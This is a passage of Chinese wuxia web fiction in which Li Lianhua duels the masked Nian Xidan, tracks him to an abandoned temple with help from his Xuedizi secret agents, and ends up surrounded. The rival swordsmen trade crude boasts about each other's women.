了一声,收掌后退。

两人打了个照面。

只见那人一身黑衣,头戴黑布罩,只露出精光闪闪的眼晴,紧盯着他。

李怜花“嘿嘿”笑道:“藏头露尾的家伙,李某等你很久了,现在看你还往哪跑!”

那人双目凶光大盛,一反手,拔出背上的玄铁重剑,平实无奇地当头劈来。虽只是随手一剑,可是由拔剑至劈下,动作浑然天成,无丝毫破绽。

可怕处还不止此,对方只是一剑劈来,可是却包合着无有穷尽的变数和玄妙,一般人根本无法琢磨其中的破绽。

第46章陷入包围

来人一剑朝李怜花劈来,剑势雷霆万钧,一般人很难看到剑中破绽。

李怜花展开巧妙的身形,见针插缝,每每针走偏锋,手中的华佗针大开大阖,针芒在黑夜的笼罩下显得耀眼夺目。

“叮!”

华佗针与玄铁重剑交击了一下,来人被华佗针上传来的强大真元震得胸腑一阵翻滚,知道不是李怜花的对手,已经谋生退意。

李怜花一招紧似一招,不让来人有任何脱身的机会,口中同时大笑道:“你这个淫贼,居然假扮薛级明玉,以为我们都是笨蛋吗?识相的话,还是赶快报出你的真实身份吧!”

来人当然是年惜丹,他从卧底西宁的人那处得到资料,知道庄青霜避隐此处,本以为十拿九稳,定可采得这朵鲜花,那知竟撞上这个武功及得上浪翻云和庞斑,诡变狡诈的李怜花,心中已是懊恼,这时见他招招都拦阻了自己的去路,不禁杀机大起,剑式一变,着着抢攻,务要以雷霆万钧之势击杀对方。

两人的剑刹那间交击了十多下,却没有发出任何声音,原来都运功蓄音,怕惊动了其它人。

两人就在门口针来剑往,胶缠不休。

年惜丹见这样打下去对自己更加不利,原本暴躁的心境逐渐平和下来,改守为攻,使出精妙剑法,连刺三剑。

外面人影幢幢,纷纷从四方赶至。

李怜花不想让西宁派的人知道自己在人家西宁派公主的香闺里,于是故意对年惜丹露出了一丝破绽,年惜丹觑准机会,奋进余力对李怜花刺出犹如天来之笔的一剑,然后在李怜花故意闪身避让的那一瞬间,一声长啸,破窗逃去。

“砰!”

掌劲激荡的声音在外面响起,庄节的声音惊呼道:“薛明玉哪里走。”

按着是“老叟”沙天放的怒喝声。

李怜花也心中大定,知道庄青霜现在不会再有危险,对她道:“霜儿,你快穿好衣服,我去追捕这个假薛明玉。”

说完,不待庄青霜说话,也穿窗而出,朝年惜丹逃跑的方向追去。

李怜花沿着秦淮河朝莫愁湖追去,一直追到一间荒废的寺庙,就再也找不到年惜丹的踪迹,他大皱眉头,然后抬头观看着这座荒庙的高墙,寻思着是不是该进去查看一番。

正当他犹豫不绝时,一声破风之声传来,转身一看,来人身着如同日本忍者的打扮,眼神锐利,只不过一身的衣着却是血红色的,腰间系着一个用银链提着的奇怪革囊。

李怜花一看,就知道是自己的手下——[血滴子]密探中的一员。

这个[血滴子]密探来到李怜花身边,便单腿跪下,朝李怜花恭敬地说道:“[血滴子]血字1号叩见总管大人!”

李怜花神色严肃,不带丝毫感情的问道:“血字1号,我让你监视的那个从西宁派逃出来的人现在在什么地方?”

“禀告大人,属下遵照您的吩咐,从西宁道场一路跟踪那个夜行人,直到这个荒庙,见到那人进去以后就再也没有出来!”

血字1号答道。

“恩,好……很好!不愧本大人平时对你们的训练,现在你身边还有其他人吗?”

李怜花对自己的这个手下还是非常欣赏的,凭实力他绝对不是那个假薛明玉的对手,但是却能让对方一直没有被发觉有人跟踪,可见自己平时训练的结果还是非常令人满意的。

“禀告大人,现在属下身边除了属下外,还有血字74到103号和密字25到37号!”

血字1号没有任何隐瞒地答道。

说到这里,我再介绍一下,李怜花组建的秘密特务机构[血滴子]共分为血字组和密字组两组,其中血字组负责京师和周边地区的情报收集和汇总;而密字组则负责除京师及周边地区以外的大明其他地方的情报收集和汇总,甚至还深入到大明朝以外的西域、蒙古草原、关外、高丽、东瀛、琉球以及南方的越南、缅甸等地收集大明周边各个国家的情报,所以密字组的组员是最庞大的。两组的分工不同,负责的地区也不同,牢牢地把大明以及周边国家的各种军事、经济、人文、地理等重要情报全部汇总到京师的[血滴子]秘营总部,交到[血滴子]中唯一一个情报分析部门——血脑!

而这个[血滴子]的中央部门——[血脑]不仅是情报分析的部门,还是整个[血滴子]的最高部门,是[血滴子]的大脑,密字组和血字组的人都必须听从[血脑]的调遣和命令,是比[血滴子]更加神秘的一个所在。在[血脑]上面当然就是李怜花这个一手创立[血滴子]秘密特务机构的总管了,呵呵……

“很好,血字1号,你吩咐下去,给我把这个荒庙牢牢包围,没有我的命令,不准乱动,也不准跑掉任何一个陌生人,否则我拿你试问,听清楚了吗?”

最后一句李怜花几乎是吼出来的,身上散发出来的强大气势令得单腿跪在地上的血字1号半天喘不过气来。

“是,大人!”

血字1号在李怜花那强大的气势侵压下,后背冷汗都浸了出来,当他再起身观看李怜花时,早已失去李怜花的踪影,他根本就不知道李怜花是如何离开的。

李怜花吩咐完,便纵身跃往墙头,掠进墙后的花园。

这时火把在四方亮起,他落足草地上时,已陷入重围里。

一声冷哼,年惜丹由李怜花跃入处的墙头现身出来,原先跟随“花仙”年怜丹的两个花妃紧傍两旁。

绝天、灭地,日月星三煞和金土木三将八个人从举着火把的大汉后走了出来,把李怜花围个密不透风。

李怜花不紧不慢地背着手转身望往年惜丹道:“想必阁下就是花间派派主年怜丹的胞弟‘花魔’年惜丹了,幸会幸会。”

接着又对年惜丹身旁的两个花妃笑道:“两位美花妃,好久不见,一向可好啊?”

年惜丹淡淡一笑,扫过气得娇躯抖颤的两位花妃,从容道:“小李探花,死到临头仍逞口舌之欲,本魔这次引你来这里就是要报杀死家兄之仇,然后把你家中的那些小美人一个个玩个遍,你放心,我保证让她们欲仙欲死,嘿嘿……”

“哟,花魔兄的口气不小啊,小弟我好怕怕哦,嘿嘿,李某到要看一看是你把我家中的女人玩个遍呢,还是我把你身边的两个美人儿花妃玩个遍,哈哈……”

李怜花的笑声比年惜丹更加猖狂!